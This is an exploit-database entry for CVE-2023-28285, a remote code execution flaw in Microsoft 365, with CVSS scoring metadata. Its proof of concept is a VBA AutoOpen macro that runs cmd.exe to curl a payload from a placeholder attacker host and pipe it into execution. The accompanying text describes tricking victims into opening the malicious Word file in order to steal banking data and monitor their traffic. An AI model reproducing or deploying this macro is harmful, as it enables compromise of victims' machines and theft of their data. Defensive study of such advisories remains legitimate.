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exploitdbNu11secur1tyEDB-ID:51552
HistoryJul 03, 2023 - 12:00 a.m.

Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE)

2023-07-0300:00:00
nu11secur1ty
www.exploit-db.com
189
microsoft 365
mso
remote code execution
high risk
malicious files
api
office-365
vulnerability
exploit server

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

7.8

Confidence

High

EPSS

0.138

Percentile

95.7%

## Title: Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 04.17.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-28285


## Description:
The attack itself is carried out locally by a user with authentication
to the targeted system. An attacker could exploit the vulnerability by
convincing a victim, through social engineering, to download and open
a specially crafted file from a website which could lead to a local
attack on the victim's computer. The attacker can trick the victim to
open a malicious web page by using a malicious `Word` file for
`Office-365 API`. After the user will open the file to read it, from
the API of Office-365, without being asked what it wants to activate,
etc, he will activate the code of the malicious server, which he will
inject himself, from this malicious server. Emedietly after this
click, the attacker can receive very sensitive information! For bank
accounts, logs from some sniff attacks, tracking of all the traffic of
the victim without stopping, and more malicious stuff, it depends on
the scenario and etc.
STATUS: HIGH Vulnerability

[+]Exploit:
The exploit server must be BROADCASTING at the moment when the victim
hit the button of the exploit!

[+]PoC:
```cmd
Sub AutoOpen()
    Call Shell("cmd.exe /S /c" & "curl -s
http://attacker.com/CVE-2023-28285/PoC.debelui | debelui",
vbNormalFocus)
End Sub
```

## FYI:
The PoC has a price and this report will be uploaded with a
description and video of how you can reproduce it only.

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28285)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/04/cve-2023-28285-microsoft-office-remote.html)

## Time spend:
01:30:00

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

7.8

Confidence

High

EPSS

0.138

Percentile

95.7%